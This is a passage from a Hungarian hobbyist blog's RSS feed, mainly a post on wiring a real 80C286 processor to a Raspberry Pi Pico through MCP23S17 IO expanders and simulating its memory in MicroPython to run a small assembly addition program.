<p>Itt vagyunk hát, három évvel később. Az újdonság varázsa már egy kicsit megkopott és előtűnnek a lepattogzó festék alól a hibák. A szellem ugyan kiszabadult a palackból, de egy mindenható varázslény helyett egy hiperaktív junior fejlesztőt kaptunk. Mindenkire rábízom, hogy ezek alapján levonja saját helyzetéhez mérten a következtetéseket. Én a magam részéről még továbbra sem látom kristálytisztán, hogy hogyan fog működni a közös életünk.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Számítógéppel generált álomvilág</title>
            <link>https://deadlime.hu/2026/02/22/szamitogeppel-generalt-alomvilag/</link>
            <pubDate>Sun, 22 Feb 2026 08:59:40 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Raspberry Pi]]></category>
                    <category><![CDATA[hardver]]></category>
                    <category><![CDATA[Python]]></category>
                    
            <guid isPermaLink="false">6b52cf35fc5a1d1723d9defae13829b0</guid>
            <description>Virtuális valóság egy 286-os processzor számára</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/286.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<blockquote>
<p>Mi a valóság? Hogy határoznád meg? Mivel? Ha arról beszélsz, amit érzel, amit szagolsz, ízlelsz, látsz... a valóság csupán az agyad által megfejtett elektromos jelhalmaz.</p>
</blockquote>
<p class="text-right">&mdash; Morpheus, <a href="https://hu.wikipedia.org/wiki/M%C3%A1trix_(film)">Mátrix</a></p>
<p>Ha a processzor a számítógép agya, akkor neki is lehet része egyfajta virtuális valóságban? Szimulált memória, szoftveresen definiált perifériák, mesterségesen generált megszakítások.</p>
<p>Életem első számítógépe egy 286-os volt, 1 MB RAM-mal és ha jól emlékszem 50 MB HDD-vel. Ezért arra az elhatározásra jutottam, hogy beszerzek egy 286-os processzort és megpróbálom a számítógép többi részét köré szimulálni. Vagy legalábbis rábírni arra, hogy elinduljon és futtasson meg valami egyszerű assembly kódot.</p>
<p>Két évvel ezelőtt meg is rendeltem kettő darab (annyi volt egy csomagban) Harris 80C286-12 processzort. Homályosak már az emlékeim, de a <code>C</code> a nevében azt hiszem lényeges, mert ezek azok a fajták, amik nem annyira kényesek az órajel pontosságára (a <code>12</code> a végén azt jelenti, hogy 12 Mhz-en szeret futni), akár kézzel is lehet léptetni őket.</p>
<p>Először nem jöttek a sikerélmények, úgyhogy a fiókba került a projekt. Aztán idén újra elővettem és megpróbáltam kideríteni, hogy hol mehettek félre a dolgok.</p>
<h3>Összeszerelés</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/plcc_parts.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>A processzor egy PLCC-68-as foglalatba megy bele. A foglalat lábai nem alkalmasak arra, hogy jumper kábeleket dugdossunk rá, így a foglalat egy adapter NYÁK-ra került, amin vannak jumper kábel kompatibilis kiállások. A chip és a foglalat csatlakozó kiosztása is szerepel <a href="https://deadlime.hu/uploads/2026/80C286_datasheet.pdf">az adatlapon</a>, de az adapter NYÁK még csavar egy kicsit a dolgokon, így készítettem hozzá egy kis konvertáló táblázatot.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/80286_pinout.png" width="590" height="777" alt="" title="" loading="lazy" />
</p>

<p>A táblázat abban is segített, hogy a különböző ki- és bemenetek azonosítva legyenek, amik később a Raspberry Pi-ra való csatlakozáskor lesznek hasznosak. Mint az látszik, nem kevesebb, mint 57 pin-re van szükség, amihez a Pi kevés lesz. Az MCP23S17 típusú IO bővítő sietett itt a segítségünkre, amivel ugyan nem tudnánk kipörgetni a processzor által támogatott hajmeresztő 12 Mhz-es sebességet, de szerencsére nem is ez a cél.</p>
<p>A chip 16 darab IO pin-t tartalmaz, így négy chip-re lesz szükségünk. Bár pin-enként lehet állítani, hogy ki- vagy bemenetek legyenek, azért próbáltam logikusan csoportosítani őket. A bővítőnek A és B oldala van, oldalanként 8 pinnel, a végeredmény a következő lett:</p>
<pre class="ascii"><code>         ┌───┬──┬───┐      
         ┤   └──┘   ├      
         ┤          ├      
         ┤   FLAG   ├ ERROR
         ┤          ├ BUSY 
         ┤ ADDR:100 ├ INTR 
   READY ┤          ├ NMI  
   RESET ┤B        A├ PEREQ
     CLK ┤          ├ HOLD 
         └──────────┘      
         ┌───┬──┬───┐      
    HLDA ┤   └──┘   ├ A23  
COD/INTA ┤          ├ A22  
    M/IO ┤   MISC   ├ A21  
    LOCK ┤          ├ A20  
     BHE ┤ ADDR:011 ├ A19  
      S1 ┤          ├ A18  
      S0 ┤B        A├ A17  
   PEACK ┤          ├ A16  
         └──────────┘      
         ┌───┬──┬───┐      
      A8 ┤   └──┘   ├ A7   
      A9 ┤          ├ A6   
     A10 ┤   ADDR   ├ A5   
     A11 ┤          ├ A4   
     A12 ┤ ADDR:010 ├ A3   
     A13 ┤          ├ A2   
     A14 ┤B        A├ A1   
     A15 ┤          ├ A0   
         └──────────┘      
         ┌───┬──┬───┐      
      D8 ┤   └──┘   ├ D7   
      D9 ┤          ├ D6   
     D10 ┤   DATA   ├ D5   
     D11 ┤          ├ D4   
     D12 ┤ ADDR:001 ├ D3   
     D13 ┤          ├ D2   
     D14 ┤B        A├ D1   
     D15 ┤          ├ D0   
         └──────────┘      
</code></pre>
<p>A Pi SPI-n tud kommunikálni a bővítőkkel. Több megoldás is létezik erre, én azt választottam, hogy mindegyik chip egyszerre aktív és hardver cím alapján döntik el, hogy kinek szólnak a Pi felől érkező üzenetek.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/MCP23S17_breadboard.png" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>A lila színű kábellel bekötött RESET pin-t esetünkben nem szükséges a Pi-ról vezérelni, de az egyik hibakeresés során ezt is kipróbáltam és így maradt. Nincs más hátra, mint ipari mennyiségű jumper kábellel összekötni az egészet és át is térhetünk a programozásra.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/cpu_assembled.jpg" width="660" height="840" alt="" title="" loading="lazy" />
</p>

<h3>IO bővítés</h3>
<p>Az MCP23S17 tudásának viszonylag kis részére van csak szükségünk. Az IO pin-ek irányát kell csak beállítanunk és írni/olvasni. A konfigurálás regiszterek értékeinek változtatásával történik. Először is engedélyeznünk kell a hardver címek használatát. Alapból mindenkinek <code>000</code> a címe, így ha erre a címre küldünk egy regiszter változtatást (az <code>IOCON</code> regiszterben lévő <code>HAEN</code> bit), akkor mind a négy chip-en egyszerre kapcsolódnak be a hardver címek.</p>
<p>Néhány órányi (napnyi) fejtörés következett, amire végre kiderült, hogy ez még nem biztos, hogy elég a megfelelő működéshez. Kell egy üzenetet küldenünk a beállított hardver címre is, hogy engedélyezzük a hardver címeket (elég furcsa, tudom). Tehát ha mondjuk <code>101</code>-es hardver címet állítottunk be, akkor az eredeti, <code>000</code>-ra küldött regiszter módosítási üzenetet el kell küldenünk újra a <code>101</code>-nek is.</p>
<p>Most, hogy a hardver címekkel megvagyunk az egyes chip-ek <code>IODIRA</code> és <code>IODIRB</code> regiszterét kell a megfelelő irányba állítani. A csoportosítás miatt az egész oldalt egyszerre állíthatjuk olvasásra (<code>11111111</code>) vagy írásra (<code>00000000</code>). További részletek <a href="https://deadlime.hu/uploads/2026/MCP23017_datasheet.pdf">a chip adatlapján</a>.</p>
<p>Eredetileg egy Pi Zero-val kezdtem a munkát, de a végül egy Pi Pico mellett kötöttem ki, amin MicroPython fut. A chip-ek kezelésére az alábbi kis osztályka született:</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MCP23S17</span>:</span>
    IODIRA = <span class="hljs-number">0x00</span>
    IODIRB = <span class="hljs-number">0x01</span>
    IOCON = <span class="hljs-number">0x0B</span>
    GPIOA = <span class="hljs-number">0x12</span>
    GPIOB = <span class="hljs-number">0x13</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self, address, spi, cs)</span>:</span>
        self.__address = address
        self.__spi = spi
        self.__cs = cs

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">init</span><span class="hljs-params">(self)</span>:</span>
        self.__writeRegister(<span class="hljs-number">0b01000000</span>, self.IOCON, <span class="hljs-number">0b00001000</span>)
        self.writeRegister(self.IOCON, <span class="hljs-number">0b00001000</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">writeRegister</span><span class="hljs-params">(self, reg, value)</span>:</span>
        self.__writeRegister(self.__address, reg, value)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">readRegister</span><span class="hljs-params">(self, reg)</span>:</span>
        tx = bytearray([self.__address | <span class="hljs-number">1</span>, reg, <span class="hljs-number">0</span>])
        rx = bytearray(<span class="hljs-number">3</span>)
        self.__cs.value(<span class="hljs-number">0</span>)
        self.__spi.write_readinto(tx, rx)
        self.__cs.value(<span class="hljs-number">1</span>)
        <span class="hljs-keyword">return</span> rx[<span class="hljs-number">2</span>]

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__writeRegister</span><span class="hljs-params">(self, address, reg, value)</span>:</span>
        self.__cs.value(<span class="hljs-number">0</span>)
        self.__spi.write(bytes([address, reg, value]))
        self.__cs.value(<span class="hljs-number">1</span>)
</code></pre>
<p>Az <code>init</code>-ben szépen látszik, hogy kétszer állítjuk be az <code>IOCON</code> regiszter értékét. Az osztályt a következő módon tudjuk használni a processzorral való kommunikációhoz:</p>
<pre><code class="hljs python">spi = SPI(<span class="hljs-number">0</span>, baudrate=<span class="hljs-number">1000000</span>, sck=Pin(<span class="hljs-number">2</span>), mosi=Pin(<span class="hljs-number">3</span>), miso=Pin(<span class="hljs-number">4</span>))
cs = Pin(<span class="hljs-number">5</span>, mode=Pin.OUT, value=<span class="hljs-number">1</span>)
rst = Pin(<span class="hljs-number">6</span>, mode=Pin.OUT, value=<span class="hljs-number">0</span>)

chip_data = MCP23S17(<span class="hljs-number">0b01000010</span>, spi, cs)
chip_addr = MCP23S17(<span class="hljs-number">0b01000100</span>, spi, cs)
chip_misc = MCP23S17(<span class="hljs-number">0b01000110</span>, spi, cs)
chip_flag = MCP23S17(<span class="hljs-number">0b01001000</span>, spi, cs)

rst.value(<span class="hljs-number">1</span>)

chip_data.init()
chip_addr.init()
chip_misc.init()
chip_flag.init()

chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xff</span>)
chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xff</span>)

chip_addr.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xff</span>)
chip_addr.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xff</span>)

chip_misc.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xff</span>)
chip_misc.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xff</span>)

chip_flag.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0x00</span>)
chip_flag.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0x00</span>)
</code></pre>
<p>Első körben képes voltam lehagyni innen az <code>init</code> hívásokat és csodálkoztam, hogy miért nem működik. A pin-ek nagy részét olvasásra állítjuk, csak a flag-eket kell írásra.</p>
<h3>Az alapállapot</h3>
<p>Mielőtt bármibe belekezdhetnénk, RESET-elnünk kell a processzort. Ehhez legalább 16 órajelciklusnyi ideig kell a RESET flag-et bekapcsolva tartanunk, és a ki- és bekapcsolásnak szinkronban kell lennie az órajel flag-gel is. Először is csináltam pár konstanst a flag-eknek, hogy egyszerűbb legyen az élet:</p>
<pre><code class="hljs python"><span class="hljs-comment"># chip_flag GPIOA</span>
FLAG_ERROR = <span class="hljs-number">0x20</span>
FLAG_BUSY  = <span class="hljs-number">0x10</span>
FLAG_INTR  = <span class="hljs-number">0x08</span>
FLAG_NMI   = <span class="hljs-number">0x04</span>
FLAG_PEREQ = <span class="hljs-number">0x02</span>
FLAG_HOLD  = <span class="hljs-number">0x01</span>

<span class="hljs-comment"># chip_flag GPIOB</span>
FLAG_CLK   = <span class="hljs-number">0x80</span>
FLAG_RESET = <span class="hljs-number">0x40</span>
FLAG_READY = <span class="hljs-number">0x20</span>

<span class="hljs-comment"># chip_misc GPIOB</span>
FLAG_PEACK    = <span class="hljs-number">0x80</span>
FLAG_S0       = <span class="hljs-number">0x40</span>
FLAG_S1       = <span class="hljs-number">0x20</span>
FLAG_BHE      = <span class="hljs-number">0x10</span>
FLAG_LOCK     = <span class="hljs-number">0x08</span>
FLAG_M_IO     = <span class="hljs-number">0x04</span>
FLAG_COD_INTA = <span class="hljs-number">0x02</span>
FLAG_HLDA     = <span class="hljs-number">0x01</span>
</code></pre>
<p>Ezt érdemes összenézni a fentebbi MCP23S17 pin kiosztással. Az egyes oldalak 8 pin-jét 8 bitnyi / 1 byte-nyi adatként kezeljük. Például a 'misc' chip <code>GPIOB</code> oldala által kiadott byte-ban a <code>HLDA</code> flag a legkisebb helyi értékű szám, a <code>PEACK</code> pedig a legnagyobb helyi értékű.</p>
<pre class="ascii"><code>PEACK
↓
10100111
       ↑
    HLDA
</code></pre>
<p>A flag-ek segítségével jöhet is a RESET:</p>
<pre><code class="hljs python"><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">17</span>):
    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK | FLAG_RESET)
    time.sleep(<span class="hljs-number">0.001</span>)
    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_RESET)
    time.sleep(<span class="hljs-number">0.001</span>)
</code></pre>
<p>A sleep-eket teljesen hasra ütés szerűen választottam, nem kell igazodnunk semmilyen ütemhez. A RESET során a processzornak egy meghatározott állapotba kell kerülnie. Ezt az alábbi kis kóddal tudjuk ellenőrizni:</p>
<pre><code class="hljs python">data = chip_addr.readRegister(MCP23S17.GPIOA)
print(<span class="hljs-string">'A7-0:   '</span> + str(bin(data)))
data = chip_addr.readRegister(MCP23S17.GPIOB)
print(<span class="hljs-string">'A15-8:  '</span> + str(bin(data)))
data = chip_misc.readRegister(MCP23S17.GPIOA)
print(<span class="hljs-string">'A23-16: '</span> + str(bin(data)))
data = chip_misc.readRegister(MCP23S17.GPIOB)
print(<span class="hljs-string">'PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: '</span> + str(bin(data)))
</code></pre>
<p>Az értékek, amit látnunk kell így néznek ki:</p>
<pre class="console"><code>A7-0:   0b11111111
A15-8:  0b11111111
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000
</code></pre>
<p>Furcsa módon engem a következő fogadott:</p>
<pre class="console"><code>A7-0:   0b11111111
A15-8:  0b11111000
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000
</code></pre>
<p>Nehéz volt nem észrevenni, hogy a második és a negyedik sor megegyezik. Ellenőriztem az összes csatlakozást, szétszedtem az egészet, LED-ek segítségével debug-oltam, hogy jó helyre mennek-e az értékek, amiket írok, kicseréltem a chip-et, amihez az A15-8 pin-ek voltak rendelve, kicseréltem a processzort a tartalékra, ezerszer is átolvastam a kódot, de semmi sem segített.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/led_debug.jpg" width="660" height="840" alt="" title="" loading="lazy" />
</p>

<p>Végül az MCP23S17-nél említett hardver címes mókázás lett a megoldás. Lényeg, hogy ha minden rendben ment, elengedhetjük a RESET flag-et és elkezdődhet a boot-olás.</p>
<pre><code class="hljs python">chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK | FLAG_RESET)
time.sleep(<span class="hljs-number">0.001</span>)
chip_flag.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0</span>)
time.sleep(<span class="hljs-number">0.001</span>)
</code></pre>
<h3>Az inicializálás</h3>
<p>Ezek után a processzornak 50 órajelcikluson belül el kell kezdenie olvasni a <code>0xFFFFF0</code> címről az első végrehajtandó utasítást. A <code>COD/INTA</code>, <code>M/IO</code>, <code>S0</code> és <code>S</code>1 flag-ek határozzák meg, hogy mit szeretne csinálni a processzor.</p>
<table>
<tr>
  <th><code>COD/INTA</code></th>
  <th><code>M/IO</code></th>
  <th><code>S0</code></th>
  <th><code>S1</code></th>
  <th>Művelet</th>
</tr>
<tr>
  <td>0</td>
  <td>0</td>
  <td>0</td>
  <td>0</td>
  <td>Interrupt acknowledge</td>
</tr>
<tr>
  <td>0</td>
  <td>1</td>
  <td>0</td>
  <td>0</td>
  <td>halt / shutdown</td>
</tr>
<tr>
  <td>0</td>
  <td>1</td>
  <td>0</td>
  <td>1</td>
  <td>Memory data read</td>
</tr>
<tr>
  <td>0</td>
  <td>1</td>
  <td>1</td>
  <td>0</td>
  <td>Memory data write</td>
</tr>
<tr>
  <td>1</td>
  <td>0</td>
  <td>0</td>
  <td>1</td>
  <td>I/O read</td>
</tr>
<tr>
  <td>1</td>
  <td>0</td>
  <td>1</td>
  <td>0</td>
  <td>I/O write</td>
</tr>
<tr>
  <td>1</td>
  <td>1</td>
  <td>0</td>
  <td>1</td>
  <td>Memory instruction read</td>
</tr>
</table>
<p>A kevésbé érdekeseket kihagytam a táblázatból, <a href="https://deadlime.hu/uploads/2026/80C286_datasheet.pdf">az adatlapon</a> megtekinthetőek. De a maradékból is csak erre a négyre lesz szükségünk a kis tesztünkhöz:</p>
<ul>
<li>halt / shutdown</li>
<li>memory data write</li>
<li>memory data read</li>
<li>memory instruction read</li>
</ul>
<p>Szóval elkezdjük küldeni az órajeleket és várunk, hogy elérkezzünk az első 'Memory instruction read'-ig:</p>
<pre><code class="hljs python">cycle = <span class="hljs-number">1</span>
<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
    print(<span class="hljs-string">f'#<span class="hljs-subst">{cycle}</span>'</span>)
    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
    time.sleep(<span class="hljs-number">0.001</span>)
    chip_flag.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0</span>)
    time.sleep(<span class="hljs-number">0.001</span>)

    data = chip_misc.readRegister(MCP23S17.GPIOB)
    PEACK = data &amp; FLAG_PEACK
    S0 = data &amp; FLAG_S0
    S1 = data &amp; FLAG_S1
    BHE = data &amp; FLAG_BHE
    LOCK = data &amp; FLAG_LOCK
    M_IO = data &amp; FLAG_M_IO
    COD_INTA = data &amp; FLAG_COD_INTA
    HLDA = data &amp; FLAG_HLDA

    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S1 <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S0:
        print(<span class="hljs-string">'halt / shutdown'</span>)
        sys.exit(<span class="hljs-number">0</span>)
    <span class="hljs-keyword">elif</span> <span class="hljs-keyword">not</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S1 <span class="hljs-keyword">and</span> S0:
        print(<span class="hljs-string">'Memory data read'</span>)
    <span class="hljs-keyword">elif</span> <span class="hljs-keyword">not</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> S1 <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S0:
        print(<span class="hljs-string">'Memory data write'</span>)
    <span class="hljs-keyword">elif</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S1 <span class="hljs-keyword">and</span> S0:
        print(<span class="hljs-string">'Memory instruction read'</span>)

    time.sleep(<span class="hljs-number">0.01</span>)
    cycle += <span class="hljs-number">1</span>
</code></pre>
<p>Ha sikeresen megérkezünk, akkor elkezdhetünk mondjuk NOP (<code>0x90</code>) utasításokat küldeni. Az adat buszt írásra állítjuk, ráküldjük a NOP utasítást, küldünk egy órajelet és visszaállítjuk az adat buszt olvasásra.</p>
<pre><code class="hljs python">chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0x00</span>)
chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0x00</span>)
chip_data.writeRegister(MCP23S17.GPIOA, <span class="hljs-number">0x90</span>)
chip_data.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0x90</span>)

chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
time.sleep(<span class="hljs-number">0.001</span>)
chip_flag.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0</span>)
time.sleep(<span class="hljs-number">0.001</span>)

chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xFF</span>)
chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xFF</span>)
</code></pre>
<h3>Bonyolult matematikai műveletek</h3>
<p>Ez mind szép és jó, de nézzünk valami érdekesebbet, amihez olvasni és írni is kell a memóriát. Egy egyszerű kis program, ami a memóriából olvas be két számot, összeadja és visszaírja a memóriába az eredményt.</p>
<p>Mivel a memóriának eléggé a végén kezdtünk (<code>0xFFFFF0</code>), így nincs túl sok helyünk, először el kell ugranunk máshova.</p>
<pre class="file"><code>reset.asm
</code></pre>
<pre><code class="hljs armasm">[cpu <span class="hljs-number">286</span>]
<span class="hljs-symbol">org</span> <span class="hljs-number">0xfff0</span>

<span class="hljs-symbol">jmp</span> <span class="hljs-number">0x0000</span>:<span class="hljs-number">0x0500</span>
</code></pre>
<p>Aztán jöhet az összeadás:</p>
<pre class="file"><code>add.asm
</code></pre>
<pre><code class="hljs armasm">[cpu <span class="hljs-number">286</span>]
<span class="hljs-symbol">org</span> <span class="hljs-number">0x0500</span>

<span class="hljs-symbol">xor</span>  ax, ax
<span class="hljs-keyword">mov </span> ds, ax

<span class="hljs-keyword">mov </span> ax, [num1]
<span class="hljs-keyword">add </span> ax, [num2]
<span class="hljs-keyword">mov </span> [result], ax

<span class="hljs-symbol">hlt</span>

<span class="hljs-comment">; Data</span>
<span class="hljs-symbol">num1</span>    dw <span class="hljs-number">0x1234</span>
<span class="hljs-symbol">num2</span>    dw <span class="hljs-number">0x000a</span>
<span class="hljs-symbol">result</span>  dw <span class="hljs-number">0x0000</span>
</code></pre>
<p>A <code>nasm</code> program segítségével generálhatunk belőle binárist is:</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> nasm reset.asm</span>
<span class="hljs-meta">$</span><span class="bash"> nasm add.asm</span>
</code></pre>
<p>Majd egy rövid kis Python script segítségével Python-formára hozhatjuk, hogy belerakhassuk a virtuális memóriánkba:</p>
<pre class="file"><code>hex_dump.py
</code></pre>
<pre><code class="hljs python"><span class="hljs-keyword">import</span> sys

<span class="hljs-keyword">with</span> open(sys.argv[<span class="hljs-number">1</span>], <span class="hljs-string">"rb"</span>) <span class="hljs-keyword">as</span> f:
    data = f.read()
hex_values = <span class="hljs-string">", "</span>.join(<span class="hljs-string">f"0x<span class="hljs-subst">{byte:<span class="hljs-number">02</span>x}</span>"</span> <span class="hljs-keyword">for</span> byte <span class="hljs-keyword">in</span> data)
print(<span class="hljs-string">f"[<span class="hljs-subst">{hex_values}</span>]"</span>)
</code></pre>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> python hex_dump.py reset</span>
[0xea, 0x00, 0x05, 0x00, 0x00]
<span class="hljs-meta">$</span><span class="bash"> python hex_dump.py add</span>
[0x31, 0xc0, 0x8e, 0xd8, 0xa1, 0x0f, 0x05, 0x03, 0x06, 0x11, 0x05, 0xa3, 0x13, 0x05, 0xf4, 0x34, 0x12, 0x0a, 0x00, 0x00, 0x00]
</code></pre>
<p>A memória szimulálására a következő osztálykát raktam össze:</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Memory</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self)</span>:</span>
        self.__data = {}

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">load</span><span class="hljs-params">(self, base, data)</span>:</span>
        <span class="hljs-keyword">for</span> i, b <span class="hljs-keyword">in</span> enumerate(data):
            self.__data[base + i] = b

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__getitem__</span><span class="hljs-params">(self, address)</span>:</span>
        <span class="hljs-keyword">return</span> self.__data.get(address, <span class="hljs-number">0x00</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__setitem__</span><span class="hljs-params">(self, address, value)</span>:</span>
        self.__data[address] = value &amp; <span class="hljs-number">0xFF</span>
</code></pre>
<p>Csak egy egyszerű dict egy kis segédfüggvénnyel, aminek segítségével tetszőleges címre tölthetünk be adatot. Amit aztán meg is teszünk a <code>nasm</code> által generált kóddal:</p>
<pre><code class="hljs python">MEMORY = Memory()
MEMORY.load(<span class="hljs-number">0x000500</span>, [
    <span class="hljs-number">0x31</span>, <span class="hljs-number">0xc0</span>,
    <span class="hljs-number">0x8e</span>, <span class="hljs-number">0xd8</span>,
    <span class="hljs-number">0xa1</span>, <span class="hljs-number">0x0f</span>, <span class="hljs-number">0x05</span>,
    <span class="hljs-number">0x03</span>, <span class="hljs-number">0x06</span>, <span class="hljs-number">0x11</span>, <span class="hljs-number">0x05</span>,
    <span class="hljs-number">0xa3</span>, <span class="hljs-number">0x13</span>, <span class="hljs-number">0x05</span>,
    <span class="hljs-number">0xf4</span>,
    <span class="hljs-number">0x34</span>, <span class="hljs-number">0x12</span>,
    <span class="hljs-number">0x0a</span>, <span class="hljs-number">0x00</span>,
    <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>
])
MEMORY.load(<span class="hljs-number">0xfffff0</span>, [
    <span class="hljs-number">0xea</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x05</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>
])
</code></pre>
<p>Már csak az elágazásokat kell kitöltenünk, de előtte még szót kell ejteni a <code>BHE</code> flag-ről és az <code>A0</code> értékről.</p>
<table>
  <tr>
    <th><code>BHE</code></th>
    <th><code>A0</code></th>
    <th>Művelet</th>
  </tr>
  <tr>
    <td>0</td>
    <td>0</td>
    <td>Word transfer</td>
  </tr>
  <tr>
    <td>0</td>
    <td>1</td>
    <td>Byte transfer on upper half of data bus (<code>D15</code> - <code>D8</code>)</td>
  </tr>
  <tr>
    <td>1</td>
    <td>0</td>
    <td>Byte transfer on lower half of data bus (<code>D7</code> - <code>D0</code>)</td>
  </tr>
</table>
<p>Tehát egy adat buszhoz kapcsolódó művelet során tudjuk a teljes adatbuszt, a nagyobb helyi értékű felét vagy a kisebb helyi értékű felét írni/olvasni.</p>
<p>A 'Memory data read' esetünkben nagyon hasonlít a 'Memory instruction read'-hez, úgyhogy össze is vonhatjuk a kettőt. Az újdonság a fenti flag-ek kezelése és a kamu memória használata lesz.</p>
<pre><code class="hljs python">address = (a3 &lt;&lt; <span class="hljs-number">16</span>) + (a2 &lt;&lt; <span class="hljs-number">8</span>) + a1
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S1 <span class="hljs-keyword">and</span> S0:
    print(<span class="hljs-string">'Memory data read 0x{:06X}'</span>.format(address))
<span class="hljs-keyword">else</span>:
    print(<span class="hljs-string">'Memory instruction read 0x{:06X}'</span>.format(address))

<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> BHE <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> A0:
    print(<span class="hljs-string">'Word transfer 0x{:02X}{:02X}'</span>.format(MEMORY[address + <span class="hljs-number">1</span>], MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0x00</span>)
    chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0x00</span>)
    chip_data.writeRegister(MCP23S17.GPIOA, MEMORY[address])
    chip_data.writeRegister(MCP23S17.GPIOB, MEMORY[address + <span class="hljs-number">1</span>])
<span class="hljs-keyword">elif</span> <span class="hljs-keyword">not</span> BHE <span class="hljs-keyword">and</span> A0:
    print(<span class="hljs-string">'Byte transfer on upper half of data bus 0x{:02X}'</span>.format(MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0x00</span>)
    chip_data.writeRegister(MCP23S17.GPIOB, MEMORY[address])
<span class="hljs-keyword">elif</span> BHE <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> A0:
    print(<span class="hljs-string">'Byte transfer on lower half of data bus 0x{:02X}'</span>.format(MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0x00</span>)
    chip_data.writeRegister(MCP23S17.GPIOA, MEMORY[address])

chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
time.sleep(<span class="hljs-number">0.001</span>)
chip_flag.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0</span>)
time.sleep(<span class="hljs-number">0.001</span>)

chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xFF</span>)
chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xFF</span>)
</code></pre>
